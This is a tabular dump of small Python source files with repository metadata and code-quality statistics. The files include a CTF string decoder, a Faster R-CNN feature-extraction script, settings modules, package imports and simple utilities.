hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
85e0fcc90411dad72d54f0e9954c9e55b5b6e2ce | 355 | py | Python | CTFR-Penyelesaian/006 COVID-19/decode.py | dimasma0305/PicoCTF-Penyelesaian | 69c315b269412c766d91bc909b75c8bbfebdc12c | [
"MIT"
] | 1 | 2022-01-01T14:37:49.000Z | 2022-01-01T14:37:49.000Z | CTFR-Penyelesaian/006 COVID-19/decode.py | dimasma0305/PicoCTF-Penyelesaian | 69c315b269412c766d91bc909b75c8bbfebdc12c | [
"MIT"
] | null | null | null | CTFR-Penyelesaian/006 COVID-19/decode.py | dimasma0305/PicoCTF-Penyelesaian | 69c315b269412c766d91bc909b75c8bbfebdc12c | [
"MIT"
] | 1 | 2021-12-30T07:48:32.000Z | 2021-12-30T07:48:32.000Z | a="J`e^\x1cf_l]_WiUa\x12UQ]\x0esdj^hp\x1a\\mZ_\x15hT`XQ]\x0eumrrg\x1bg^fZ[\\U[\x12aU]gea_o]i\x1a<gm_Y!$+\x11iPOh-\x1e?pr\x1am``i\x15]f\x12j_d` ej^c\x1b4\x19;K<GoV&c#Ng0tp\\o.f_W+dYS'^h$ha_bs`-Zn-f^*cq!\x12=_eS sml\x1cn_^\x18`j\x15Vhf\x11]PYe\x1fwlqm\x1afaeZ\x15[_ah\x10d^"
b=""
for i in range(len(a)):
print(a[i])
b+=chr(ord(a[i])+(i%19))
print(b) | 59.166667 | 272 | 0.656338 | 84 | 355 | 2.642857 | 0.785714 | 0.018018 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.124629 | 0.050704 | 355 | 6 | 273 | 59.166667 | 0.534125 | 0 | 0 | 0 | 0 | 0.166667 | 0.752809 | 0.747191 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
85e3a3f1c90a06550739020efef21807be83de6d | 124 | py | Python | Python-Standard-Library/ApplicationBuildingBlock/getpass/getpass_default.py | gaufung/CodeBase | 0292b06cfe002b3ad0299e43bb51192816a02c74 | [
"MIT"
] | 1 | 2018-10-06T23:50:53.000Z | 2018-10-06T23:50:53.000Z | Python-Standard-Library/ApplicationBuildingBlock/getpass/getpass_default.py | wsgan001/CodeBase | 0292b06cfe002b3ad0299e43bb51192816a02c74 | [
"MIT"
] | null | null | null | Python-Standard-Library/ApplicationBuildingBlock/getpass/getpass_default.py | wsgan001/CodeBase | 0292b06cfe002b3ad0299e43bb51192816a02c74 | [
"MIT"
] | 1 | 2018-10-06T23:50:50.000Z | 2018-10-06T23:50:50.000Z | import getpass
try:
p=getpass.getpass()
except Exception as err:
print('ERROR', err)
else:
print('You Enter', p) | 17.714286 | 25 | 0.66129 | 18 | 124 | 4.555556 | 0.722222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.201613 | 124 | 7 | 25 | 17.714286 | 0.828283 | 0 | 0 | 0 | 0 | 0 | 0.112 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.285714 | 0.142857 | 0 | 0.142857 | 0.285714 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
c82a9c8aeced082ac6fe7e00ba06cffa7b64c77e | 465 | py | Python | tests/test_greeter.py | ltfschoen/pyethfinality | 6a1f3c73fd3f0cab1e4b6d1f2a902100931a17d1 | [
"BSD-3-Clause"
] | 1 | 2018-07-01T03:52:20.000Z | 2018-07-01T03:52:20.000Z | tests/test_greeter.py | ltfschoen/pyethfinality | 6a1f3c73fd3f0cab1e4b6d1f2a902100931a17d1 | [
"BSD-3-Clause"
] | 8 | 2017-11-28T08:24:22.000Z | 2017-12-01T20:46:45.000Z | tests/test_greeter.py | ltfschoen/pyethfinality | 6a1f3c73fd3f0cab1e4b6d1f2a902100931a17d1 | [
"BSD-3-Clause"
] | null | null | null | # Reference: https://github.com/loredanacirstea/test-populus/blob/master/tests/test_greeter.py
import pytest
from ethereum import tester
@pytest.fixture()
# `chain` is a py.test fixture provided by Populus pytest plugin
def greeter_contract(chain):
greeter_contract, _ = chain.provider.get_or_deploy_contract('Greeter')
return greeter_contract
def test_greet(greeter_contract):
greeting = greeter_contract.call().greet()
assert greeting == 'Hello' | 35.769231 | 94 | 0.780645 | 61 | 465 | 5.770492 | 0.590164 | 0.213068 | 0.113636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11828 | 465 | 13 | 95 | 35.769231 | 0.858537 | 0.333333 | 0 | 0 | 0 | 0 | 0.038961 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.222222 | false | 0 | 0.222222 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
c841174e726961436ffd4a738ca9a85131a79d6b | 145 | py | Python | rename_files.py | miaoli-psy/handyscript | c604e54028b35bf5ae52182f1159162d0123d014 | [
"BSD-2-Clause"
] | null | null | null | rename_files.py | miaoli-psy/handyscript | c604e54028b35bf5ae52182f1159162d0123d014 | [
"BSD-2-Clause"
] | null | null | null | rename_files.py | miaoli-psy/handyscript | c604e54028b35bf5ae52182f1159162d0123d014 | [
"BSD-2-Clause"
] | null | null | null | import os
for i in os.listdir('.'):
if i.endswith('.png'):
name_new = 'r_'+ i
print(name_new)
os.rename(i,name_new) | 20.714286 | 29 | 0.537931 | 23 | 145 | 3.217391 | 0.608696 | 0.283784 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.296552 | 145 | 7 | 29 | 20.714286 | 0.72549 | 0 | 0 | 0 | 0 | 0 | 0.047945 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0.166667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
c8462258ca839e58cf9e7bf800873d9a04369baa | 182 | py | Python | chitra/__init__.py | sukkritsharmaofficial/chitra | 93629d0a6d41a3f8b8cf61485684314628e1135e | [
"Apache-2.0"
] | null | null | null | chitra/__init__.py | sukkritsharmaofficial/chitra | 93629d0a6d41a3f8b8cf61485684314628e1135e | [
"Apache-2.0"
] | null | null | null | chitra/__init__.py | sukkritsharmaofficial/chitra | 93629d0a6d41a3f8b8cf61485684314628e1135e | [
"Apache-2.0"
] | null | null | null | """A Deep Learning library."""
__version__ = "0.1.0rc0"
__license__ = "Apache License 2.0"
from chitra.image import Chitra
from chitra.utility.import_utils import _SERVE_INSTALLED
| 22.75 | 56 | 0.774725 | 26 | 182 | 5 | 0.730769 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0375 | 0.120879 | 182 | 7 | 57 | 26 | 0.775 | 0.131868 | 0 | 0 | 0 | 0 | 0.171053 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
c84cd4c538a4b46fc3a8f03c4f4cb10ac4dbe6f0 | 228 | py | Python | bminf/core/__init__.py | AdamBear/BMInf | 8e650dc30e3ed9d7d628153b0a4dbd76d97ea948 | [
"Apache-2.0"
] | 206 | 2021-09-23T08:55:29.000Z | 2022-03-26T13:15:41.000Z | bminf/core/__init__.py | AdamBear/BMInf | 8e650dc30e3ed9d7d628153b0a4dbd76d97ea948 | [
"Apache-2.0"
] | 24 | 2021-09-24T05:54:39.000Z | 2022-03-25T01:44:49.000Z | bminf/core/__init__.py | AdamBear/BMInf | 8e650dc30e3ed9d7d628153b0a4dbd76d97ea948 | [
"Apache-2.0"
] | 34 | 2021-09-26T02:17:29.000Z | 2022-03-28T07:01:54.000Z | from .tensor import Tensor
from .context import Context
from .layer import Layer, Model
from .parameter import Parameter
from .allocator import Allocator
from .memory import Memory
from .device import Device
from . import config | 28.5 | 32 | 0.820175 | 32 | 228 | 5.84375 | 0.34375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.140351 | 228 | 8 | 33 | 28.5 | 0.954082 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
c070cd63ad4a81e7dc2b1dfcc720622b4d556399 | 222 | py | Python | config/settings.py | trigunshin/personal_home_page | 4150628c052ac12272e07a9d7addc2c01901281a | [
"MIT"
] | null | null | null | config/settings.py | trigunshin/personal_home_page | 4150628c052ac12272e07a9d7addc2c01901281a | [
"MIT"
] | null | null | null | config/settings.py | trigunshin/personal_home_page | 4150628c052ac12272e07a9d7addc2c01901281a | [
"MIT"
] | null | null | null | from os import getenv
EMAILS = getenv('email_data', "")
DEBUG = getenv('env', 'dev')
SECRET = getenv('secret', 'abc123zyx098')
PASSWORD = getenv('password', 'password')
TWITCH_USERNAME = getenv('twitch_user', 'password')
| 27.75 | 51 | 0.707207 | 26 | 222 | 5.923077 | 0.615385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030457 | 0.112613 | 222 | 7 | 52 | 31.714286 | 0.751269 | 0 | 0 | 0 | 0 | 0 | 0.310811 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.333333 | 0.166667 | 0 | 0.166667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
c093ff85605b61db2c697e208c5f7f60a33a1579 | 9,224 | py | Python | hook_faster_rcnn.py | ratkhohieu/Context-aware-emotion-recognition-based-on-visual-relationship-detection | 84d9029a5a30ecc24450df7f8f9d9fe6761ddf71 | [
"MIT"
] | null | null | null | hook_faster_rcnn.py | ratkhohieu/Context-aware-emotion-recognition-based-on-visual-relationship-detection | 84d9029a5a30ecc24450df7f8f9d9fe6761ddf71 | [
"MIT"
] | null | null | null | hook_faster_rcnn.py | ratkhohieu/Context-aware-emotion-recognition-based-on-visual-relationship-detection | 84d9029a5a30ecc24450df7f8f9d9fe6761ddf71 | [
"MIT"
] | null | null | null | import pandas as pd
import torchvision
from torch.utils.data import DataLoader
from tqdm import tqdm
from pre_process import *
from utils import *
warnings.filterwarnings("ignore")
parser = argparse.ArgumentParser(description='MuSE Training')
parser.add_argument('--lr', default=1e-3, type=float, help='learning rate')
parser.add_argument('--batch_size', default=1, type=int, help='batch size')
args = parser.parse_args()
device = "cuda:0" if torch.cuda.is_available() else 'cpu'
scaler = torch.cuda.amp.GradScaler()
def hook_faster_rcnn(model, image_input):
outputs = []
hook = model.backbone.register_forward_hook(
lambda self, input, output: outputs.append(output))
res = model(image_input)
hook.remove()
selected_rois = model.roi_heads.box_roi_pool(
outputs[0], [r['boxes'] for r in res], [i.shape[-2:] for i in image_input])
out_pool = nn.AdaptiveAvgPool2d((1, 1))
result = {
'features_object': np.array(out_pool(selected_rois).view(selected_rois.size(0), -1).detach().cpu()),
'bounding_box': np.array(res[0]['boxes'].detach().cpu()),
'labes': np.array(res[0]['labels'].detach().cpu())
}
return result
def main():
seed_everything()
# train_context, train_body, train_cat, train_cont = load_data_npy(mode='train')
# val_context, val_body, val_cat, val_cont = load_data_npy(mode='valid')
# test_context, test_body, test_cat, test_cont = load_data_npy(mode='test')
# cat2ind, ind2cat, ind2vad = pre_ind2cat()
root = '/media/sven/HUNG/CAER/extracted_feature/'
# train_transform = transforms.Compose([transforms.ToPILImage(),
# transforms.Resize(size=(320, 320)),
# # transforms.RandomHorizontalFlip(),
# # transforms.ColorJitter(brightness=0.4, contrast=0.4, saturation=0.4),
# transforms.ToTensor()])
#
# test_transform = transforms.Compose([transforms.ToPILImage(),
# transforms.Resize(size=(320, 320)),
# transforms.ToTensor()])
#
# train_dataset = Emotic_PreDataset(train_context, train_body, train_cat, train_cont, train_transform,
# root=root,
# data_src='emotic_pre/train.csv', mode_unnorm=True)
# train_loader = DataLoader(dataset=train_dataset,
# batch_size=args.batch_size,
# num_workers=4,
# shuffle=False,
# drop_last=False)
#
# valid_dataset = Emotic_PreDataset(val_context, val_body, val_cat, val_cont, test_transform,
# root=root,
# data_src='emotic_pre/val.csv', mode_unnorm=True)
# valid_loader = DataLoader(dataset=valid_dataset,
# batch_size=args.batch_size,
# num_workers=4,
# shuffle=False)
#
# test_dataset = Emotic_PreDataset(test_context, test_body, test_cat, test_cont, test_transform,
# root=root,
# data_src='emotic_pre/test.csv', mode_unnorm=True)
# test_loader = DataLoader(dataset=test_dataset,
# batch_size=args.batch_size,
# num_workers=4,
# shuffle=False)
# load a model pre-trained pre-trained on COCO
train_dataset = Caer_Dataset(path_df='/media/sven/HUNG/CAER/extracted_feature/train.csv', transform=train_transform)
train_loader = DataLoader(dataset=train_dataset,
batch_size=args.batch_size,
num_workers=4,
shuffle=False,
drop_last=False)
test_dataset = Caer_Dataset(path_df='/media/sven/HUNG/CAER/extracted_feature/test.csv', transform=test_transform)
test_loader = DataLoader(dataset=test_dataset,
batch_size=args.batch_size,
num_workers=4,
shuffle=False)
model = torchvision.models.detection.fasterrcnn_resnet50_fpn(pretrained=True, box_detections_per_img=10,
box_score_thresh=0.4, box_nms_thresh=0.4,
box_fg_iou_thresh=0.5, box_bg_iou_thresh=0.5, )
model.to(device)
model.eval()
# for k, v in {'train': train_loader, 'test': test_loader}.items():
# results = []
# for batch_idx, sample in tqdm(enumerate(v), total=len(v)):
# images_context = sample['image_context'].to(device)
# outputs = []
# hook = model.backbone.register_forward_hook(
# lambda self, input, output: outputs.append(output))
# res = model(images_context)
# # import pdb;
# # pdb.set_trace()
# try:
# assert len(res[0]['labels'] != 0)
# except:
# # TODO: need to process when can't detect anything, box, label, features are zeros
# print('Zeros_box')
# result = {
# 'features_object': np.zeros((1, 1024)),
# 'bounding_box': np.zeros((1, 4)),
# 'labes': np.zeros(1)
# }
# results.append(result)
# continue
#
# hook.remove()
# selected_rois = model.roi_heads.box_roi_pool(
# outputs[0], [r['boxes'] for r in res], [i.shape[-2:] for i in images_context])
#
# # out_pool = nn.AdaptiveAvgPool2d((1, 1))
# #
# # result = {
# # 'features_object': np.array(out_pool(selected_rois).view(selected_rois.size(0), -1).detach().cpu()),
# # 'bounding_box': np.array(res[0]['boxes'].detach().cpu()),
# # 'labes': np.array(res[0]['labels'].detach().cpu())
# # }
#
# result = {
# 'features_object': np.array(model.roi_heads.box_head(selected_rois).detach().cpu()),
# 'bounding_box': np.array(res[0]['boxes'].detach().cpu()),
# 'labes': np.array(res[0]['labels'].detach().cpu())
# }
#
# results.append(result)
# path_npy = os.path.join(root, 'hook_faster')
# os.makedirs(path_npy, exist_ok=True)
# np.save(os.path.join(path_npy, f'{k}_faster_320_1024.npy'), results)
# print(len(results))
for k, v in {'train': train_loader, 'test': test_loader}.items():
results = []
df = pd.read_csv(f'/media/sven/HUNG/CAER/extracted_feature/{k}.csv')
for batch_idx, sample in tqdm(enumerate(v), total=len(v)):
images_context = sample['image_context'].to(device)
outputs = []
hook = model.backbone.register_forward_hook(
lambda self, input, output: outputs.append(output))
res = model(images_context)
# import pdb;
# pdb.set_trace()
try:
assert len(res[0]['labels'] != 0)
except:
# TODO: need to process when can't detect anything, box, label, features are zeros
print('Zeros_box')
result = {
'features_object': np.zeros((1, 1024)),
'bounding_box': np.zeros((1, 4)),
'labes': np.zeros(1)
}
results.append(result)
continue
hook.remove()
selected_rois = model.roi_heads.box_roi_pool(
outputs[0], [r['boxes'] for r in res], [i.shape[-2:] for i in images_context])
# out_pool = nn.AdaptiveAvgPool2d((1, 1))
#
# result = {
# 'features_object': np.array(out_pool(selected_rois).view(selected_rois.size(0), -1).detach().cpu()),
# 'bounding_box': np.array(res[0]['boxes'].detach().cpu()),
# 'labes': np.array(res[0]['labels'].detach().cpu())
# }
result = {
'features_object': np.array(model.roi_heads.box_head(selected_rois).detach().cpu()),
'bounding_box': np.array(res[0]['boxes'].detach().cpu()),
'labes': np.array(res[0]['labels'].detach().cpu())
}
name_npy_file = df.iloc[batch_idx]['image']
emotion = df.iloc[batch_idx]['emotion']
path_npy = os.path.join(root, 'hook_faster')
os.makedirs(path_npy, exist_ok=True)
np.save(os.path.join(path_npy, f'{emotion}_{name_npy_file}.npy'), result)
results.append(os.path.join(path_npy, f'{emotion}_{name_npy_file}.npy'))
df['hook_faster'] = results
df.to_csv(f'{k}_hook.csv')
if __name__ == '__main__':
main()
| 44.346154 | 120 | 0.531982 | 1,018 | 9,224 | 4.603143 | 0.208251 | 0.022407 | 0.02134 | 0.023474 | 0.725139 | 0.715536 | 0.708493 | 0.692275 | 0.650448 | 0.632949 | 0 | 0.016498 | 0.336297 | 9,224 | 207 | 121 | 44.560386 | 0.748938 | 0.475065 | 0 | 0.247059 | 0 | 0 | 0.111534 | 0.05112 | 0 | 0 | 0 | 0.004831 | 0.011765 | 1 | 0.023529 | false | 0 | 0.070588 | 0 | 0.105882 | 0.011765 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
c09dbcf7eb2dc8ec020531b75ae134dcf76a169e | 187 | py | Python | foobar2020/solutionProblem19.py | franklinvp/foobar | 8732fe373e4fd2036a9268e269d8edb0d61f5481 | [
"MIT"
] | 7 | 2020-07-09T20:47:06.000Z | 2022-02-16T11:11:56.000Z | foobar2020/solutionProblem19.py | franklinvp/foobar | 8732fe373e4fd2036a9268e269d8edb0d61f5481 | [
"MIT"
] | null | null | null | foobar2020/solutionProblem19.py | franklinvp/foobar | 8732fe373e4fd2036a9268e269d8edb0d61f5481 | [
"MIT"
] | 2 | 2020-03-02T18:25:00.000Z | 2020-11-03T14:15:24.000Z | This one I had done before
https://github.com/franklinvp/foobar/blob/master/foobar2018/extra_challenge_solar_panels.py
but hadn't tested it against the secret testcases. It passed.
| 31.166667 | 95 | 0.802139 | 30 | 187 | 4.9 | 0.966667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02439 | 0.122995 | 187 | 5 | 96 | 37.4 | 0.871951 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.333333 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
c09f6620816d7ccc9632a9db004404bda4e491b5 | 171 | py | Python | applications/user/views/forms.py | dev-easyshares/mighty | a6cf473fb8cfbf5b92db68c7b068fc8ae2911b8b | [
"MIT"
] | null | null | null | applications/user/views/forms.py | dev-easyshares/mighty | a6cf473fb8cfbf5b92db68c7b068fc8ae2911b8b | [
"MIT"
] | 1 | 2022-03-12T00:57:37.000Z | 2022-03-12T00:57:37.000Z | applications/user/views/forms.py | dev-easyshares/mighty | a6cf473fb8cfbf5b92db68c7b068fc8ae2911b8b | [
"MIT"
] | null | null | null | from mighty.views.form import FormDescView
from mighty.applications.user.forms import UserCreationForm
class CreatUserFormView(FormDescView):
form = UserCreationForm
| 28.5 | 59 | 0.842105 | 18 | 171 | 8 | 0.666667 | 0.138889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 171 | 5 | 60 | 34.2 | 0.941176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
c0afc2fc368cf4a923fe3ab95dcbed7a2449d806 | 169 | py | Python | settings.py | WPRDC/property-api | 980f541b07bef3c8842994cfb903b42cc2c25064 | [
"MIT"
] | 1 | 2021-10-01T18:35:46.000Z | 2021-10-01T18:35:46.000Z | settings.py | WPRDC/property-api | 980f541b07bef3c8842994cfb903b42cc2c25064 | [
"MIT"
] | null | null | null | settings.py | WPRDC/property-api | 980f541b07bef3c8842994cfb903b42cc2c25064 | [
"MIT"
] | null | null | null | CKAN_ROOT = "https://data.wprdc.org/"
API_PATH = "api/3/action/"
SQL_SEARCH_ENDPOINT = "datastore_search_sql"
API_URL = CKAN_ROOT + API_PATH + SQL_SEARCH_ENDPOINT
| 28.166667 | 53 | 0.745562 | 26 | 169 | 4.423077 | 0.576923 | 0.13913 | 0.295652 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006803 | 0.130178 | 169 | 5 | 54 | 33.8 | 0.77551 | 0 | 0 | 0 | 0 | 0 | 0.341463 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
c0b8e8c73e4fb93871e54910019b5791a490ac19 | 315 | py | Python | model/metric.py | herjh0405/BC_Pstage1_Image_Classification | 9c9766f156f55fd98cf28d977f5d9f40df11db7e | [
"Intel",
"MIT"
] | null | null | null | model/metric.py | herjh0405/BC_Pstage1_Image_Classification | 9c9766f156f55fd98cf28d977f5d9f40df11db7e | [
"Intel",
"MIT"
] | null | null | null | model/metric.py | herjh0405/BC_Pstage1_Image_Classification | 9c9766f156f55fd98cf28d977f5d9f40df11db7e | [
"Intel",
"MIT"
] | null | null | null | import torch
from sklearn.metrics import f1_score
# 한 Batch에서의 Accuracy 값
def batch_acc(pred, label):
return torch.sum(pred == label)
# 한 Batch에서의 f1_score 값
def batch_f1(pred, label, method):
return f1_score(pred, label, average=method)
# Epoch당 평균값 반환
def epoch_mean(val, len):
return val / len
